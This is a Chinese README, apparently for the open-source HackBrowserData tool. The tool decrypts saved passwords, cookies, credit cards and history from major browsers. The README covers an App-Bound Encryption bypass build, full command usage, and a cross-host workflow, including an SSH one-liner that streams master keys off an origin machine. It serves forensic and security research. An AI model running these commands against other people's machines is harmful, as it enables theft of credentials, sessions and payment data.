HackBrowserData 是一款命令行工具,用于解密并导出浏览器数据(密码、历史记录、Cookie、书签、信用卡信息、下载历史、localStorage、sessionStorage 及扩展),支持 Chromium 内核的主流浏览器和 Firefox(Windows/macOS/Linux)以及 macOS 上的 Safari。
它还可以跨机器和操作系统解密数据:在原始主机上导出主密钥,然后在任意其他主机上离线解密副本,即使分析主机无法运行对应的浏览器(参见跨主机解密)。
免责声明:此工具仅用于安全研究。用户使用本工具所产生的一切法律责任及连带责任均由用户自行承担,原作者不承担任何法律责任。
在 macOS 上,部分 Chromium 内核浏览器需要当前用户密码才能解密。
在 macOS 26.4 或更高版本上,密码解密可能失败。
¹ Safari 需要“完全磁盘访问权限”;如果提取返回空结果,请在“系统设置” → “隐私与安全性” → “完全磁盘访问权限”中启用。
² 在 Windows 上,解密 Chromium 127+ 的 Cookie(Chrome / Chrome Beta / Edge / Brave / CocCoc)需要构建
make build-windows生成的 App-Bound Encryption 负载——参见下方从源码构建。³ 这些浏览器仅提供 Windows 版本,但其数据可在任意操作系统上解密:使用
archive拉取文件,使用dumpkeys导出密钥,然后在 macOS 或 Linux 上使用restore解密——参见跨主机解密。
安装 HackBrowserData 非常简单,只需下载适用于你系统的发布版并运行二进制文件即可。
在某些情况下,此安全工具会被 Windows Defender 或其他杀毒软件判定为病毒而无法执行。代码完全开源,你可以自行修改并编译。
需要 Go 1.20+。```bash
git clone https://github.com/moonD4rk/HackBrowserData
cd HackBrowserData
go build ./cmd/hack-browser-data/
#### 跨平台构建```bash
# For Windows (standard build, no Chromium 127+ ABE cookie support)
GOOS=windows GOARCH=amd64 go build ./cmd/hack-browser-data/
# For Linux
GOOS=linux GOARCH=amd64 go build ./cmd/hack-browser-data/
Chrome / Chrome Beta / Edge / Brave / CocCoc 127+ 使用应用绑定加密保护 Cookie。解密这些 Cookie 需要一个小的 C 载荷——Zig (0.13+) 是推荐的 C 工具链(Makefile 调用 zig cc)。如果绕过 make payload,MinGW-w64 gcc 也可以手动构建源代码。```bash
brew install zig # macOS scoop install zig # Windows (scoop)
make payload
make build-windows
生成的 `hack-browser-data.exe` 包含对 Chromium 127+ 的完整 ABE cookie 解密。
## 用法```
$ hack-browser-data -h
hack-browser-data decrypts and exports browser data from Chromium-based
browsers and Firefox on Windows, macOS, and Linux.
GitHub: https://github.com/moonD4rk/HackBrowserData
Usage:
hack-browser-data [flags]
hack-browser-data [command]
Available Commands:
archive Pack decryption-relevant profile files into a zip for cross-host restore
dump Extract and decrypt browser data (default command)
dumpkeys Export Chromium master keys as JSON for cross-host decryption
help Help about any command
list List detected browsers and profiles
restore Decrypt copied profile data using exported master keys
version Print version information
Flags:
-b, --browser string target browser: all|chrome|firefox|edge|... (default "all")
-c, --category string data categories (comma-separated): all|password,cookie,... (default "all")
-d, --dir string output directory (default "results")
-f, --format string output format: csv|json|cookie-editor (default "json")
-h, --help help for hack-browser-data
--keychain-pw string macOS keychain password
-p, --profile-path string custom profile dir path, get with chrome://version
-v, --verbose enable debug logging
--zip compress output to zip
Use "hack-browser-data [command] --help" for more information about a command.
dump - 提取并解密浏览器数据(默认)在不指定子命令的情况下运行 hack-browser-data,默认会执行 dump。
--format cookie-editor只写入 cookies,作为一个 JSON 数组,匹配 Cookie-Editor 浏览器扩展的导入格式;非 cookie 类别将被跳过。
在分析主机上解密从不同原始主机收集的浏览器数据——包括分析主机操作系统甚至无法安装其引擎的浏览器(例如在 macOS 上解密搜狗或QQ浏览器数据)。无需任何平台绑定的内容(DPAPI、macOS 钥匙串、Chrome App-Bound Encryption)离开原始主机:主密钥导出一次,然后从数据副本完全离线运行解密。
工作流程使用三个命令和两个可传输的产物:
hack-browser-data dumpkeys -o keys.json hack-browser-data archive -o browser-data.zip
hack-browser-data restore --keys keys.json --data-zip browser-data.zip
> `keys.json` 包含明文主密钥——请将其视为机密。`dumpkeys -o` 以 `0600` 权限写入该文件;建议通过安全通道流式传输,而不是将其留在磁盘上。
#### `dumpkeys` - 导出主密钥以用于跨主机解密
在源主机上提取每个 Chromium 安装的主密钥,并将其写入 JSON(Firefox / Safari 没有可移植密钥,因此跳过)。默认输出到 stdout,因此可以通过 SSH 管道传输。
| Flag | Short | Default | Description |
|-----------------|-------|----------|-------------------------------------------------|
| `--browser` | `-b` | `all` | 目标浏览器 (all\|chrome\|edge\|...) |
| `--output` | `-o` | *stdout* | 输出文件(以 `0600` 权限写入);省略时输出到 stdout |
| `--keychain-pw` | | | macOS 钥匙串密码 |
#### `archive` - 打包与解密相关的文件以便传输
仅收集还原实际需要的文件(cookies、登录数据、历史记录等),使用与提取时相同的锁定文件绕过机制,从而在 Windows 上安全读取活动中的 SQLite 文件。压缩包的布局为 `<browser-key>/<User Data layout>`,因此一个压缩包可以包含多个浏览器,且还原时保持明确。条目名称始终使用正斜杠,因此 Windows 生成的压缩包可在 macOS / Linux 上还原。
| Flag | Short | Default | Description |
|--------------|-------|--------------------|-----------------------------------------|
| `--browser` | `-b` | `all` | 目标浏览器 (all\|chrome\|edge\|...) |
| `--category` | `-c` | `all` | 数据类别,逗号分隔 |
| `--output` | `-o` | `browser-data.zip` | 输出压缩包路径 |
#### `restore` - 使用导出的密钥解密复制的数据
直接从 `keys.json` 重建每个 Chromium 引擎并解密提供的数据——它从不查询分析员的本地浏览器表,因此**你可以还原的浏览器正好是 `keys.json` 中的保管库**。通过以下两种方式之一提供数据(必须且仅需一种):
- `--data-zip` — 由 `archive` 生成的压缩包;解压到临时目录后删除。
- `--data-dir` — 一个目录。可以是 `archive` 布局(`<browser-key>/...`,一次包含多个浏览器),也可以是单个浏览器手动复制的 `User Data` 根目录,但仅对单个浏览器是明确的——因此请与 `-b` 配对。
`-b` 是对转储保管库的**可选过滤器**,而不是必需的筛选器。
| Flag | Short | Default | Description |
|--------------|-------|------------|------------------------------------------------------------|
| `--keys` | | *required* | 来自 `dumpkeys` 的密钥文件(使用 `-` 表示标准输入) |
| `--data-zip` | | | 来自 `archive` 的压缩包(与 `--data-dir` 互斥) |
| `--data-dir` | | | 复制的数据目录(与 `--data-zip` 互斥) |
| `--browser` | `-b` | | 仅还原此浏览器;必须与 `--keys` 中的保管库匹配 |
| `--category` | `-c` | `all` | 数据类别,逗号分隔 |
| `--format` | `-f` | `json` | 输出格式(csv\|json\|cookie-editor) |
| `--dir` | `-d` | `results` | 输出目录 |
| `--zip` | | `false` | 将输出压缩为 zip |
#### 跨主机示例```bash
# Stream keys over SSH (no keys.json on disk), data copied separately
ssh origin "hack-browser-data dumpkeys" | \
hack-browser-data restore --keys - --data-zip browser-data.zip
# Restore one browser from a hand-copied User Data folder (no archive)
hack-browser-data restore --keys keys.json --data-dir ./chrome-userdata -b chrome
list - 列出检测到的浏览器和配置文件| 标志 | 默认值 | 描述 |
|---|---|---|
--detail | false | 显示每个类别的条目计数 |
version - 打印版本信息```bashhack-browser-data version
### 全局标志
| 标志 | 简写 | 描述 |
|------|------|------|
| `--verbose` | `-v` | 启用调试日志 |
### 示例```bash
# Extract all data from all browsers (default)
hack-browser-data
# Extract specific browser and categories
hack-browser-data dump -b chrome -c password,cookie
# Export in CSV format to a custom directory (JSON is the default)
hack-browser-data dump -b chrome -f csv -d output
# Export cookies in CookieEditor format
hack-browser-data dump -f cookie-editor
# Compress output to zip
hack-browser-data dump --zip
# List detected browsers and profiles
hack-browser-data list
# List with per-category entry counts
hack-browser-data list --detail
# Use custom profile path
hack-browser-data dump -b chrome -p "/path/to/User Data/Default"
我们欢迎并感谢社区的任何贡献(GitHub issue/拉取请求、邮件反馈等)。
请在贡献前查看贡献指南。
HackBrowserData 是 404Team StarLink-Galaxy 的一部分。如果你对 HackBrowserData 有任何疑问,或者想寻找合作伙伴进行交流,请参考 Starlink 群组。

HackBrowserData 一直使用 GoLand IDE 进行开发,该 IDE 由 JetBrains s.r.o. 授予的 免费 JetBrains 开源许可证 提供,因此我在此表示感谢。
| 类别 | Chromium 内核 | Firefox | Safari |
|---|
| 密码 | ✅ | ✅ | ✅ |
| Cookie | ✅ | ✅ | ✅ |
| 书签 | ✅ | ✅ | ✅ |
| 历史记录 | ✅ | ✅ | ✅ |
| 下载历史 | ✅ | ✅ | ✅ |
| 信用卡信息 | ✅ | - | - |
| 扩展 | ✅ | ✅ | ✅ |
| LocalStorage | ✅ | ✅ | ✅ |
| SessionStorage | ✅ | - | - |
| 浏览器 | Windows | macOS | Linux |
|---|
| Chrome | ✅² | ✅ | ✅ |
| Chrome Beta | ✅² | ✅ | ✅ |
| Chromium | ✅ | ✅ | ✅ |
| Edge | ✅² | ✅ | ✅ |
| Brave | ✅² | ✅ | ✅ |
| Opera | ✅ | ✅ | ✅ |
| OperaGX | ✅ | ✅ | - |
| Vivaldi | ✅ | ✅ | ✅ |
| Yandex | ✅ | ✅ | - |
| CocCoc | ✅² | ✅ | - |
| Arc | ✅ | ✅ | - |
| DuckDuckGo³ | ✅ | - | - |
| QQ³ | ✅ | - | - |
| 360 极速浏览器³ | ✅ | - | - |
| 360 安全浏览器³ | ✅ | - | - |
| DC 浏览器³ | ✅ | - | - |
| 搜狗浏览器³ | ✅ | - | - |
| Firefox | ✅ | ✅ | ✅ |
| Safari¹ | - | ✅ | - |
| 标志 | 短标志 | 默认值 | 描述 |
|---|
--browser | -b | all | 目标浏览器(all|chrome|firefox|edge|...) |
--category | -c | all | 数据类别,逗号分隔(all|password|cookie|bookmark|history|download|creditcard|extension|localstorage|sessionstorage) |
--format | -f | json | 输出格式(csv|json|cookie-editor) |
--dir | -d | results | 输出目录 |
--profile-path | -p | 自定义配置文件目录路径,通过 chrome://version 获取 | |
--keychain-pw | macOS 钥匙串密码 | ||
--zip | false | 将输出压缩为 zip |
| 步骤 | 主机 | 命令 | 产生 |
|---|
| 1 | origin | dumpkeys | keys.json — 可移植的主密钥 |
| 2 | origin | archive | browser-data.zip — 仅包含解密所需的文件 |
| 3 | analyst | restore | 解密后的输出(csv / json / cookie-editor) |
Roger |
Aquilao Official |
uinfziuna8n |
Cyrus |
stevenlele |
Carlo Mandelli |
slimwang |
zznQ |
YuXJ |
mirefly |
LC |
zhe6652 |
guoguangwu |
beichen |
Santiago Ramirez |
Ciprian Conache |
a-urth |
Amir. |